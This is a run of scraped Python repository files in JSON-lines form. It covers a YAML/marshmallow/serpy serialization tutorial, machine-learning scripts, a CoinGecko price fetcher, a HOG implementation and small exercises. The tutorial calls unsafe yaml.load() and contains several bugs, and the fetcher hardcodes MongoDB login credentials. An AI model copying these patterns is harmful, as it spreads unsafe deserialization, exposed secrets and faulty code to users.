fields.Nested(PersonSchema, many=True)\n\n\t@post_load\n\tdef make_movie(self, data):\n\t\treturn Movie(**data)\n\nmovie_schema = MovieSchema()\nperson_schema = PersonSchema()\njson_data = '''\n{\n\t\"actors\": [\n\t\t{\n\t\t\t\"first_name\": \"John\",\n\t\t\t\"last_name\": \"Cleese\",\n\t\t\t\"dob\": \"1989-02-20\"\n\t\t},\n\t\t{\n\t\t\t\"first_name\": \"Harrison\",\n\t\t\t\"last_name\": \"Ford\",\n\t\t\t\"dob\": \"1960-09-01\"\n\t\t}\n\n\t],\n\t\"title\": \"Blade Runner\",\n\t\"year\": 1982\n}\n'''\n\n# This will run the 'make_movie' and return the 'Movie' Object.\n# Also, inside the movie_schema, we have instance of 'PersonSchema'. That will run the 'make_person' for every actor\n# and return the 'Person' obejct for each actor.\nmovie = movie_schema.loads(json_data).data\nprint('Movie title: ', movie.title)\nprint('Movie Actors: ', movie.actors)\n\n\nprint('\\n\\n----------------------------------------- Serializing / Deserializing: PyYaml -----------------------------------------\\n')\n'''\nDocumentation: https://pyyaml.org/wiki/PyYamlDocumentation\n\nYaml Format:\n\ttitle: Blade Runner\n\tactors:\n\t\t- first_name: John\n\t\t last_name: Cleese\n\t\t dob: 1989-02-20\n\t\t- first_name: Harrison\n\t\t last_name: Ford\n\t\t dob: 1960-09-01\n\nNOTE: PyYaml default deserialized output is 'Dictionary' format.\n\t\tWe can use the Yaml-out Dictionary and feed it into Marshmallow to do stuff that PyYaml can't do.\n\t\t\tLike, get Class Object out (same thign we did for MovieSchema and PersonSchema)\n\n*** We can use PyYaml's Deserializing to get Class Objects. But it uses 'Pickling / Unpickling'. So, need to be careful if we want to\n\tuse that or not (Pickle / Unpickle is not safe as it can execute code pieces while Deserializing.)\n'''\n\nimport yaml\n\nprint('\\n----------- Serializing Data -----------\\n')\n\nd = {'a': 100, 'b': False, 'c': 10.5, 'd': [1,2,3]}\nprint('Dict Data: ', d)\n# This will print list in Yaml as we have in Python '[ ]'\nprint('Serialized Data Format 1: ', yaml.dump(d))\n\n# This will print list in Yaml as we have in above example\nprint('Serialized Data: ', yaml.dump(d, default_flow_style=False))\n\n\nprint('\\n----------- Deserializing Data -----------\\n')\n\ndata = '''\n---\ntitle: Blade Runner\nactors:\n\t- first_name: John\n\t last_name: Cleese\n\t dob: 1989-02-20\n\t- first_name: Harrison\n\t last_name: Ford\n\t dob: 1960-09-01\n\n'''\n# Deserialize Yaml\nd = yaml.load(data)\nprint('Yaml Data:\\n', data)\n# Type if 'dict'\nprint('Type of deserialized data: ', type(d))\nprint('Deserialized Data:\\n', d)\n# Now, this Deserialized data has 'dob' in Datetime.date() object as Yaml.load recoganised it as a valid date() format\n'''\nOutput:\n{\n\ttitle: 'Blade Runner',\n\t'actors': [{'first_name': 'John',\n\t\t'last_name': 'Cleese',\n\t\t'dob': datetime.date(1989,2,20)},\n\t{'first_name': 'Harrison',\n\t 'last_name': 'Ford',\n\t 'dob': datetime.date(1960,9,1)}]}\n'''\n# If there is code piece in Yaml, load() will execute them\n# To safely load the Yaml data, there is safe_load(). It will throw error if there is any executable statement in Yaml data.\nprint('Deserialized Data:\\n', yaml.safe_load(d))\n\n# With safe_load() we cannot deserialize any Class Object data out.\n# This is where PyYaml comes into picture.\n\nfrom yaml import YAMLObject, SafeLoader\n\nclass Person(YAMLObject):\n\tyaml_tag = '!Person'\n\n\tdef __init__(self, name, age):\n\t\tself.name = name\n\t\tself.age = age\n\n\tdef __repr__(self):\n\t\treturn f'Person({self.name},{self.age})'\n\n# Now, yaml.dump(dict(john=Person('John', 34), michael=Person('Michael', 54)))\n# will give '!Person' as the type for the Serialized Object\n# Output->\n# john: !Person {age: 34, name: John}, michael: !Person {age: 54, name: Michael}\nprint('Serializing with Tag:\\n', yaml.dump(dict(john=Person('John', 34), michael=Person('Michael', 54))))\n\n# Now, Deserializing Data\nyaml_data = '''\njohn: !Person\n\tage: 34\n\tname: John\nmichael: !Person\n\tage: 54\n\tname: Michael\n'''\n\n# load() now will correctly give us 'Person' Class Objects\nprint('Deserializing Tagged Data:\\n', yaml.load(yaml_data))\n# Output: {'john': Person(name=John, age=34), 'michael': Person(name=Michael, age=54)}\n\n# But safe_load() still won't know what to do with '!Person'\n# print('Deserializing Tagged Data:\\n', yaml.safe_load(yaml_data))\n# Above will give error.\n\nclass Person(YAMLObject):\n\tyaml_tag = '!Person'\n\tyaml_loader = SafeLoader\n\n\tdef __init__(self, name, age):\n\t\tself.name = name\n\t\tself.age = age\n\n\tdef __repr__(self):\n\t\treturn f'Person({self.name},{self.age})'\n\n# Now, safe_loader can be used AS WELL. (load() will work anyways)\nprint('Deserializing Tagged Data:\\n', yaml.safe_load(yaml_data))\n\n\nprint('\\n\\n----------------------------------------- Serializing / Deserializing: Serpy -----------------------------------------\\n')\n'''\nDocumentation: https://serpy.readthedocs.io/en/latest\n\nSchema: Does support Schema while Serializing Objects\nSerialization: Extremely Fast Serialization. Output Type = Dict\n\t\t\t\tWe can use 'JSON' or 'YAML' to convert the Serialized Data into 'json' or 'yaml' type\nDeserialization: DOES NOT do Deserialization\n\nUsecase: When you only have to Serilize Data and send it to other people.\n'''\nimport serpy\nimport json, yaml\n\nclass Person:\n\tdef __init__(self, name, age):\n\t\tself.name = name\n\t\tself.age = age\n\n\tdef __repr__(self):\n\t\treturn f'Person({self.name},{self.age})'\n\n# We need to tell Serpy how to Serialize 'Person' class objects\nclass PersonSerializer(serpy.Serilizer):\n\tname = serpy.StrField()\n\tage = serpy.IntField()\n\np1 = Person('Michael Jordan', 50)\nprint('Person Data: ', p1)\nprint('Serialized Person Data: ',PersonSerializer(p1).data)\n# This will give out a Dictionary.\n# Output -> {'name': 'Michael Jordan', 'age': 50}\n\n# For complex Example\nclass Movie:\n\tdef __init__(self, title, year, actors):\n\t\tself.title = title,\n\t\tself.year = year,\n\t\tself.actors = actors\n\n\tdef __repr__(self):\n\t\treturn f'Person({self.title},{self.year},{self.actors})'\n\nclass MovieSerializer(serpy.Serilizer):\n\ttitle = serpy.StrField()\n\tyear = serpy.IntField()\n\tactors = PersonSerializer(many=True)\n\np2 = Person('John Cleese', 39)\nm1 = Movie('Blade Runner', 1982, [p1,p2])\n\nprint('Movie Data: ', m1)\nprint('Serialized Movie Data: ',MovieSerializer(m1).data)\n\nprint('\\nFormatting in JSON and YAML\\n')\nprint('JSON: ', json.dumps(MovieSerializer(m1).data))\nprint('YAML: ', yaml.dump(MovieSerializer(m1).data))","repo_name":"chemplife/Python","sub_path":"python_core/json_encoding_with_schema_marshmallow_pyYaml_serpy.py","file_name":"json_encoding_with_schema_marshmallow_pyYaml_serpy.py","file_ext":"py","file_size_in_byte":15288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"69878377155","text":"import numpy as np\nimport pandas as pd\nimport os\nimport re\nimport warnings\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import GridSearchCV, KFold\nfrom sklearn.inspection import permutation_importance\nfrom sklearn.pipeline import Pipeline\n\nfrom scripts.churn_functions import modernize, bake, simple_split\n\nclass random_forest():\n def __init__(self):\n pass\n \n def fit(self,\n data,\n split,\n scoring,\n feature_selection = None,\n targetvar:str = 'n'):\n \n # rewrite attributes\n self.data = data\n self.split = split\n self.scoring = scoring\n self.feature_selection = feature_selection\n self.targetvar = targetvar\n \n # empty model\n model = Pipeline([\n ('scaler', StandardScaler()),\n ('model', RandomForestRegressor(n_estimators=100, random_state = 1966))\n ])\n \n cv = KFold(n_splits=5, shuffle=True, random_state=1933)\n \n model = GridSearchCV(model,\n {'model__max_depth':np.arange(2, 10, 1),\n 'model__min_samples_leaf': [1, 2, 4, 6, 8]}, # at least 2\n cv = cv,\n scoring = self.scoring,\n refit = True)\n\n # feature selection\n def get_xy():\n \n if self.feature_selection == True:\n\n X, y = data.drop(columns = self.targetvar), data[self.targetvar]\n\n # manual selection\n elif type(self.feature_selection) == list:\n\n X, y = data[list(self.feature_selection)], data[self.targetvar]\n \n # no feature selection\n else:\n\n X, y = data.drop(columns = self.targetvar), data[self.targetvar]\n \n return X, y\n \n X, y = get_xy()\n \n # split data\n X_train, X_test, y_train, y_test = simple_split(X, y, self.split)\n \n # fit the model\n model = model.fit(X_train, y_train)\n \n # feature selection step\n if self.feature_selection == True:\n \n # extract feature importance on test set\n imps = permutation_importance(model, \n X_test, \n y_test, \n n_repeats=10, \n random_state=1933, \n n_jobs=-1)\n \n self.feature_selection = list(X_test.columns[imps.importances_mean > np.mean(imps.importances_mean)])\n \n# # save df of importances\n# self.importances = pd.DataFrame({'imp':imps.importances_mean, # scaled, oops\n# 'name': X_train.columns}).sort_values('imp', ascending = False)\n\n # fit model again\n X, y = get_xy()\n \n X_train, X_test, y_train, y_test = simple_split(X, y, self.split)\n \n model.fit(X_train, y_train)\n \n # write hidden splits\n self.__X_train__ = X_train\n self.__y_train__ = y_train\n self.__X_test__ = X_test\n self.__y_test__ = y_test\n \n # save fitted model and fnames\n self.model = model\n self.fnames = model.feature_names_in_\n \n def predict(self, ahead = 3):\n\n # Store the fitted values with the same time index as the training data\n train_pred = pd.Series(self.model.predict(self.__X_train__), index= self.__X_train__.index)\n\n # test prediction\n test_pred = pd.Series(self.model.predict(self.__X_test__), index = self.__X_test__.index)\n\n X_modern = modernize(list(self.__X_train__.columns), ahead = ahead)\n\n pred = self.model.predict(X_modern)\n\n self.full = bake(self.__y_train__, self.__y_test__, train_pred, test_pred, pred)\n \n def get_importances(self, n = None, names = False):\n \n if n is None:\n # default is all features\n n = self.__X_train__.shape[1]\n \n coef = self.model.best_estimator_['model'].feature_importances_\n \n impos = pd.DataFrame({'imp': coef,\n 'name': self.__X_train__.columns}).sort_values('imp', ascending = False).nlargest(n, columns = 'imp')\n \n if names == True:\n \n return impos['name'].values\n else:\n return impos","repo_name":"kmarkey/LJ_Leading_Indicators","sub_path":"models/dev/scripts/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":4700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16240196017","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 25 09:04:44 2021\n\n@author: lenovo\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport Classifiers2\nimport matplotlib.pyplot as plt\n\n#图片年龄数据分析\ndataset = pd.read_excel(\"age data.xls\")\ndataset = dataset.drop(['File_name'], axis = 1).sample(frac = 1)\ntrue_labels = np.array(dataset[\"truth lable\"])\nX = np.array(dataset.drop(['truth lable'], axis = 1))\nlearning_rate=1\nstrategy='power'\nerror_=[]\nw = Classifiers2.Base_with_weights()\nw.training(X, true_labels, learning_rate, strategy)\nerror_.append(w.error)\nerror=[]\nloss=[]\nz=[0,0,0,0,0,0,0,0,0,0]\nf=[0,0,0,0,0,0,0,0,0,0]\nl=[0,0,0,0,0,0,0,0,0,0]\nfor i in range(len(true_labels)):\n loss_=X[i]-true_labels[i]\n loss.append(abs(X[i]-true_labels[i]))\n error.append(X[i]-true_labels[i])\n for j in range(len(loss_)):\n if loss_[j]>0:\n z[j]+=1\n elif loss_[j]==0:\n l[j]+=1\n else:\n f[j]+=1\nerror_c=np.array(error_[0])\n#print(error_c)\n'''\nfor i in range(len(error_c)):\n if error_c[i]>0:\n z[5]+=1\n elif error_c[i]==0:\n l[5]+=1\n else:\n f[5]+=1\n''' \nresult=loss[0]\nfor j in range(len(loss)-1):\n result = np.vstack((result, loss[j+1]))\nprint(result.mean(axis=0))\nprint(result.std(axis=0))\n \nresult=error[0]\nfor j in range(len(error)-1):\n result = np.vstack((result, error[j+1]))\n\n #loss=abs(predict-true_labels)\nmarker=['x','o','>','P','^','>','D','*','p','o']\n#label=['Worker1','Worker2','Worker3','Worker4','Worker5','Proposed']\n#weight_collection = np.array(self.weight_collection)\nx=np.linspace(0,1001,1002)\nplt.scatter(x, error_, label = \"Proposed\", marker='<',s=1) \nfor i in range(0,10):\n plt.scatter(x, result[:,i], label = \"Worker{}\".format(i + 1), marker=marker[i],s=1) \nplt.xlabel('Number of samples')\nplt.ylabel('Error')\nplt.legend()\nplt.show()\n\nx=[1,2,3,4,5,6,7,8,9,10]\n#x=[0.5,1,1.5,2,2.5,3,3.5,4,4.5,5]\na=[]\np=[]\nfor i in range(len(f)):\n a.append(f[i]+l[i])\n p.append(str(z[i])+':'+str(f[i]))\n \nplt.figure(figsize=(10,5))\n#plt.xlim(0.5,5.7) \nplt.ylim(0,1100) \nplt.bar(x, f, align=\"center\",color='gray', tick_label=[\"Worker1\", \"Worker2\", \"Worker3\", \"Worker4\", \"Worker5\",\"Worker6\", \"Worker7\", \"Worker8\", \"Worker9\", \"Worker10\"], label=\"Error<0\")\nplt.bar(x, l, align=\"center\",color='#B088FF', bottom=f,label=\"Error=0\")\nplt.bar(x, z, align=\"center\",color='#FF3333', bottom=a, label=\"Error>0\")\nfor i in range(1,11):\n plt.text(i,1030,p[i-1],horizontalalignment=\"center\", fontsize=8)\n#plt.xlabel('Workers')\nplt.ylabel('Number of samples')\nplt.legend(loc=5)\nplt.show() \n","repo_name":"Isaac-QiXing/optimization-model-and-algorithm---based-on-python-implementation","sub_path":"resources/sec_6.1_梯度投影法/code/应用案例6.1基于NEG框架的在线聚合方法处理隐喻新颖性评分/代码及数据/Experiments2-4.py","file_name":"Experiments2-4.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8004836276","text":"import time\n\nimport pymongo.errors\nimport requests.exceptions\nfrom pymongo import MongoClient\nfrom pycoingecko import CoinGeckoAPI\nimport json\nimport certifi\nimport pprint\n\nca = certifi.where()\n##### Coin Gecko API ####\ncg = CoinGeckoAPI()\n\n\n### Connection to Catalin Mongo ######\n\nclient_cata = MongoClient(\"mongodb+srv://m001-student:m001-student@sandbox.vmxtn.mongodb.net/Sandbox?retryWrites=true&w=majority\", tlsCAFile=ca)\ncata_db = client_cata[\"coingecko\"]\ncollection = cata_db[\"first_page_collection\"] #[\"coingeckoCollection\"]\n\n\n\n\n\n\n#To delete everything from the collection\n#collection.delete_many({})\n\n#coins = ['bitcoin', 'litecoin', 'ethereum','polygon','xrp','solana','dodgecoin','chainlink','cardano','decentraland']\n\n#Top 10 coins from the internet\n# coins = ['bitcoin', 'litecoin', 'ethereum', 'polygon', 'xrp', 'solana', 'dodgecoin', 'chainlink', 'cardano',\n# 'decentraland']\n\ncurrencies = [\"usd\", \"eur\"]\ncoins = cg.get_coins_list()\ncoins2 = json.dumps(coins)\ncoins3 = json.loads(coins2.replace('id','_id'))\n\n\n\n\nfor coin in coins3:\n try:\n id = coin[\"_id\"]\n prices = cg.get_price(ids=id, vs_currencies=currencies ,include_market_cap=True, include_24hr_vol=True, include_24hr_change=True, include_last_updated_at=True)\n\n #Exception handling for shitty coins who doesn't have the vars below\n \n price_in_euro=prices[id][\"eur\"]\n eur_24h_change = prices[id][\"eur_24h_change\"]\n eur_24h_vol = prices[id][\"eur_24h_vol\"]\n eur_market_cap = prices[id][\"eur_market_cap\"]\n last_updated_at = prices[id][\"last_updated_at\"]\n price_in_usd = prices[id][\"usd\"]\n usd_24h_change = prices[id][\"usd_24h_change\"]\n usd_24h_vol = prices[id][\"usd_24h_vol\"]\n usd_market_cap = prices[id][\"usd_market_cap\"]\n\n except KeyError :\n pass\n except requests.exceptions.HTTPError:\n time.sleep(1800)\n else:\n collection.insert_one({\"_id\":id,\n \"price_in_euro\":price_in_euro,\n \"eur_24h_change\": eur_24h_change,\n \"eur_24h_vol\": eur_24h_vol,\n \"eur_market_cap\": eur_market_cap,\n \"last_updated_at\":last_updated_at,\n \"price_in_usd\": price_in_usd,\n \"usd_24h_change\":usd_24h_change,\n \"usd_24h_vol\": usd_24h_vol,\n \"usd_market_cap\":usd_market_cap})\n\n #pprint.pprint(prices)\n time.sleep(1.2)\n\n\n#see all documentss\n# results = collection.find()\n# for x in results:\n# pprint.pprint(x)\n","repo_name":"VanCleefy/learning","sub_path":"project/get_prices.py","file_name":"get_prices.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21550576068","text":"import numpy as np\nfrom skimage import color, draw\nfrom typing import Tuple, Dict\n\n\nclass HistogramOfGradients:\n def __init__(self, num_of_bins: int = 9,\n pixels_per_cell: (int, int) = (8, 8),\n cells_per_block: (int, int) = (1, 1),\n visualise: bool = False,\n feature_vector: bool = False) -> None:\n self.num_of_bins = num_of_bins\n self._max_angle = 180\n self.angular_bin_width = self._max_angle / self.num_of_bins\n self.pixels_per_cell = pixels_per_cell\n self.cells_per_block = cells_per_block\n self.visualise = visualise\n self.feature_vector = feature_vector\n\n def compute_features(self, image: np.ndarray) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"\n Extract HOG features\n :param image: input image\n :return: HOG feature, HOG image map\n \"\"\"\n if len(image.shape) == 3:\n img = color.rgb2gray(image)\n else:\n img = image\n\n im_h, im_w = img.shape\n gx, gy = self._compute_gradient(img)\n c_row, c_col = self.pixels_per_cell\n b_row, b_col = self.cells_per_block\n\n magnitudes = np.hypot(gx, gy)\n orientations = np.rad2deg(np.arctan2(gy, gx)) % self._max_angle\n\n num_cells_x = int(im_w // c_row)\n num_cells_y = int(im_h // c_col)\n\n num_blocks_x = int(num_cells_x - b_row) + 1\n num_blocks_y = int(num_cells_y - b_col) + 1\n\n hog_cells = np.zeros((num_cells_y, num_cells_x, self.num_of_bins))\n\n # Compute HOG of each cell\n for i in range(0, num_cells_y):\n for j in range(0, num_cells_x):\n magnitudes_patch = magnitudes[i * c_col: (i + 1) * c_col, j * c_col: (j + 1) * c_row]\n orientations_patch = orientations[i * c_col: (i + 1) * c_col, j * c_col: (j + 1) * c_row]\n\n hog_cells[i, j] = self._compute_hog_per_cell(magnitudes_patch,\n orientations_patch)\n\n hog_blocks_normalized = np.zeros((num_blocks_y, num_blocks_x, self.num_of_bins * b_row * b_col))\n\n # Normalize HOG by block\n for id_y in range(0, num_blocks_y):\n for id_x in range(0, num_blocks_x):\n hog_block = hog_cells[id_y:id_y + b_col, id_x:id_x + b_row].ravel()\n hog_blocks_normalized[id_y, id_x] = self._normalise_vector(hog_block)\n hog_features = hog_blocks_normalized\n if self.feature_vector:\n hog_features = hog_features.ravel()\n\n hog_image = None\n if self.visualise:\n hog_image = self._render_hog_image(hog_cells, img.shape)\n return hog_features, hog_image\n\n @staticmethod\n def _compute_gradient(image: np.ndarray) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"\n Compute gradient of an image by rows and columns using Forward and Backward difference at edges\n and Central difference for the rest\n :param image: input image of type np.ndarray\n :return: Gradients of image in X and Y direction\n \"\"\"\n gx = np.zeros_like(image)\n gy = np.zeros_like(image)\n\n # Central difference\n gx[:, 1:-1] = (image[:, 2:] - image[:, :-2]) / 2\n gy[1:-1, :] = (image[2:, :] - image[:-2, :]) / 2\n\n # Forward difference\n gx[:, 0] = image[:, 1] - image[:, 0]\n gy[0, :] = image[1, :] - image[0, :]\n\n # Backward difference\n gx[:, -1] = image[:, -1] - image[:, -2]\n gy[-1, :] = image[-1, :] - image[-2, :]\n\n # gy, gx = np.gradient(image) # this is built in numpy function to compute gradient\n assert gx.shape == gy.shape\n return gx, gy\n\n def _compute_hog_per_cell(self, magnitudes: np.ndarray, orientations: np.ndarray) -> np.ndarray:\n \"\"\"\n Compute 1 HOG feature of a cell. Return a row vector of size `n_orientations`\n :param magnitudes: Gradient magnitude image\n :param orientations: Gradient orientation image\n :return: hog features per cell\n \"\"\"\n assert orientations.shape == magnitudes.shape\n hog_feature = np.zeros(self.num_of_bins)\n for i in range(orientations.shape[0]):\n for j in range(orientations.shape[1]):\n bin_map = self._calculate_value_of_bins(magnitudes[i, j], orientations[i, j])\n for bin_index in bin_map:\n hog_feature[bin_index] += bin_map[bin_index]\n return hog_feature / (magnitudes.shape[0] * magnitudes.shape[1])\n\n def _render_hog_image(self, hog_cells: np.ndarray, hog_image_shape: Tuple[int, int]) -> np.ndarray:\n \"\"\"\n Render HOG feature image map\n :param hog_cells: Computed HOG features of dim: (M , N, B), M x N is size of input image and B is number of bins\n :param hog_image_shape: (M, N)\n :return: Output HOG image map of size (M, N)\n \"\"\"\n hog_image = np.zeros(hog_image_shape)\n img_row, img_col = hog_image_shape\n c_row, c_col = self.pixels_per_cell\n num_cells_row, num_cells_col = int(img_row // c_row), int(img_col // c_col)\n orientations = self.num_of_bins\n\n radius = min(c_row, c_col) // 2 - 1\n orientations_arr = np.arange(orientations)\n # set dr_arr, dc_arr to correspond to midpoints of orientation bins\n orientation_bin_midpoints = (np.pi * (orientations_arr + .5) / orientations)\n\n dr_arr = radius * np.sin(orientation_bin_midpoints)\n dc_arr = radius * np.cos(orientation_bin_midpoints)\n\n for r in range(num_cells_row):\n for c in range(num_cells_col):\n for o, dr, dc in zip(orientations_arr, dr_arr, dc_arr):\n centre = tuple([r * c_row + c_row // 2,\n c * c_col + c_col // 2])\n rr, cc = draw.line(int(centre[0] - dc),\n int(centre[1] + dr),\n int(centre[0] + dc),\n int(centre[1] - dr))\n hog_image[rr, cc] += hog_cells[r, c, o]\n return hog_image\n\n @staticmethod\n def _normalise_vector(v: np.ndarray, eps=1e-5) -> np.ndarray:\n \"\"\"\n Return a normalized vector (which has norm2 as 1)\n @:param v: vector array\n @:param eps: epsilon to prevent zero divide\n @:return normalised vector\n \"\"\"\n # eps is used to prevent zero divide exceptions (in case v is zero)\n return v / np.sqrt(np.sum(v ** 2) + eps ** 2)\n\n def _calculate_jth_bin(self, angle: float) -> int:\n \"\"\"\n Calculate jth bin for a given input angle\n @:param angle: input\n @:return raw bin index\n \"\"\"\n temp = (angle / self.angular_bin_width) - 0.5\n return np.floor(temp)\n\n def _calculate_centre_of_jth_bin(self, j: int) -> float:\n \"\"\"\n Calculate midpoint for a given bin index\n :param j: bin index\n :return: mid point for a bin index\n \"\"\"\n centre_of_jth_bin = self.angular_bin_width * (j + 0.5)\n return centre_of_jth_bin\n\n def _calculate_value_of_bins(self, magnitude: float, angle: float) -> Dict[int, float]:\n \"\"\"\n Calculate Value for bins using voting by bi-linear interpolation\n :param magnitude: magnitude\n :param angle: angle\n :return: Dictionary with bin index as key and magnitude voting values as corresponding value\n \"\"\"\n bin_raw_index = self._calculate_jth_bin(angle)\n\n centre_of_raw_bin_j = self._calculate_centre_of_jth_bin(bin_raw_index)\n centre_of_raw_bin_j_1 = self._calculate_centre_of_jth_bin(bin_raw_index + 1)\n\n # actual bin index\n bj = int(bin_raw_index % self.num_of_bins)\n bj_1 = int((bin_raw_index + 1) % self.num_of_bins)\n\n # voting by bi-linear interpolation\n Vj = magnitude * ((centre_of_raw_bin_j_1 - angle) / self.angular_bin_width)\n Vj_1 = magnitude * ((angle - centre_of_raw_bin_j) / self.angular_bin_width)\n\n return {bj: np.round(Vj, 9), bj_1: np.round(Vj_1, 9)}","repo_name":"shubhamwagh/HOG_python","sub_path":"src/hogpylib/hog.py","file_name":"hog.py","file_ext":"py","file_size_in_byte":8141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23416747551","text":"f = open(\"A-small-attempt0.in\",\"r\")\nnumberOfCases = f.readline()\n\nfw = open(\"data1-output.txt\",\"w\")\nfor i in range(int(numberOfCases)):\n\tchoice = int(f.readline())\n\tfor k in range(4):\n\t\tif int(choice)==k+1:\n\t\t\tset1 = set(f.readline()[:-1].split(' '))\n\t\telse:\n\t\t\tf.readline().split(' ')\n\n\tchoice = int(f.readline())\n\tfor k in range(4):\n\t\tif int(choice)==k+1:\n\t\t\tset2 = set(f.readline()[:-1].split(' '))\n\t\telse:\n\t\t\tf.readline().split(' ')\n\n\tresult = list(set1.intersection(set2))\n\tif result:\n\t\tif len(result) == 1:\n\t\t\tfw.write(\"Case #\"+str(i+1)+\": \"+result[0]+\"\\n\")\n\t\telse :\n\t\t\tfw.write(\"Case #\"+str(i+1)+\": Bad magician!\"+\"\\n\")\n\telse:\n\t\tfw.write(\"Case #\"+str(i+1)+\": Volunteer cheated!\"+\"\\n\")\nfw.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/3435.py","file_name":"3435.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70237529476","text":"\n#########################################################################################\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath(\n os.path.join(os.path.dirname(__file__), '..')))\nfrom simple_store.simple_store import SimpleStore \n#########################################################################################\n\n# (1) -> create instance using getInstance\ndb = SimpleStore.getInstance()\n\n# (2) -> create instance using constructor\ndb = SimpleStore()\n\n# (3) -> create key value pair where key is \"string\" and value is a json object(input provided as dict)\ndb.create(key=\"alphabets\",value={\"1\":\"a\",\"2\":\"b\",\"3\":\"c\"},timeToLiveInSeconds=0)\n\n# (4) -> create with time to live property\ndb.create(key=\"numbers\",value={\"1\":\"01\",\"2\":\"01\",\"3\":\"03\"},timeToLiveInSeconds=30)\n\n# (5) -> read\nprint(db.read(key=\"alphabets\"))\n\n# (6) -> delete\ndb.delete(key=\"numbers\")\n\n# (7) -> close instance\ndb.close()","repo_name":"bala0406/Simple-Store","sub_path":"tests/test_basic.py","file_name":"test_basic.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25651561827","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nfrom keras.datasets import mnist\nfrom keras.utils import to_categorical\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, Flatten\nimport sys\n\nfirst_filter_size = int(sys.argv[1])\ncount_conv_layer = int(sys.argv[2])\ncount_epoch = int(sys.argv[3])\n\n\n# In[ ]:\n\n\n(X_train, y_train), (X_test, y_test) = mnist.load_data()\n\n\n# In[ ]:\n\n\nX_train = X_train.reshape(60000,28,28,1)\nX_test = X_test.reshape(10000,28,28,1)\n\n\n# In[ ]:\n\n\ny_train = to_categorical(y_train)\ny_test = to_categorical(y_test)\n\n\n# In[ ]:\n\n\nmodel = Sequential()#add model layers\nmodel.add(Conv2D(first_filter_size, kernel_size=1, activation='relu', input_shape=(28,28,1)))\nfor i in range(count_conv_layer):\n\tmodel.add(Conv2D(first_filter_size//(2**i), kernel_size=1, activation='relu'))\nmodel.add(Flatten())\nmodel.add(Dense(10, activation='softmax'))\n\n\n# In[ ]:\n\n\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n\n# In[ ]:\n\n\nhistory = model.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=count_epoch)\n\n\naccuracy_file = open('/srv/accuracy.txt', 'w+')\nfor i in history.history['accuracy']:\n\taccuracy_file.write(str(i*100) + '\\n')\naccuracy_file.close()\n\n\n\n","repo_name":"mukul-shaunik/ml-try1","sub_path":"Untitled.py","file_name":"Untitled.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33743509479","text":"def solution(wallpaper):\n \n x, y = [], []\n for i in range(len(wallpaper)):\n for j in range(len(wallpaper[i])):\n if wallpaper[i][j] == '#':\n x.append(i)\n y.append(j)\n \n return [min(x), min(y), max(x)+1, max(y)+1]\n \n'''\n h, w = len(wallpaper), len(wallpaper[0])\n sharp = [(i, j) for j in range(w) for i in range(h) if wallpaper[i][j]=='#']\n \n lux, luy, rdx, rdy = h, w, 0, 0\n \n for i, j in sharp:\n if lux > i :\n lux = i\n if luy > j :\n luy = j\n if rdx < i :\n rdx = i\n if rdy < j :\n rdy = j\n \n return [lux, luy, rdx+1, rdy+1]\n'''\n\nwallpaper = [\".#...\", \"..#..\", \"...#.\"]\nprint(solution(wallpaper)) # [0, 1, 3, 4]","repo_name":"minhuikim/Algorithm","sub_path":"python/programmers/level1/wallpapers_cleanup.py","file_name":"wallpapers_cleanup.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"106103261","text":"from __future__ import print_function\n\nimport re\n\nimport nltk\nimport pandas as pd\nimport pandasql as pdsql\n# from googletrans import Translator\nfrom google_trans_new import google_translator\nfrom sklearn.base import BaseEstimator, TransformerMixin\nimport time\nfrom feature.feature import experience_company_feature, experience_date_feature, experience_name_feature, \\\n education_feature, position_feature\nfrom util import read_csv_file_as_df, build_query_by_feature\n\n\nclass TranslatorWrapper:\n\n def __init__(self):\n self.translator = google_translator()\n\n def translate(self, text, dest='en'):\n try:\n return self.translator.translate(text, lang_tgt=dest)\n except Exception:\n time.sleep(5)\n return self.translate(text, dest=dest)\n\n\nclass CompanyFeaturePreprocessor(BaseEstimator, TransformerMixin):\n\n def __init__(self):\n self.translator = TranslatorWrapper()\n self.replaced_word_list_pattern = re.compile('(Permanent|Full-time|Internship|Part-time)')\n self.blank_space_pattern = re.compile('\\\\s+')\n\n def fit(self, X, y=None, **fit_params):\n print(\"Fitting X by CompanyFeaturePreprocessor\")\n return self\n\n def transform(self, X, **transform_params):\n print(\"Transforming X by CompanyFeaturePreprocessor\")\n df = X.fillna(\"none\")\n df_transformed = df.applymap(self.preprocess_value)\n return df_transformed\n\n def preprocess_value(self, origin_value):\n text = self.replaced_word_list_pattern.sub('', origin_value)\n text = self.blank_space_pattern.sub(' ', text).strip()\n return self.translator.translate(text, 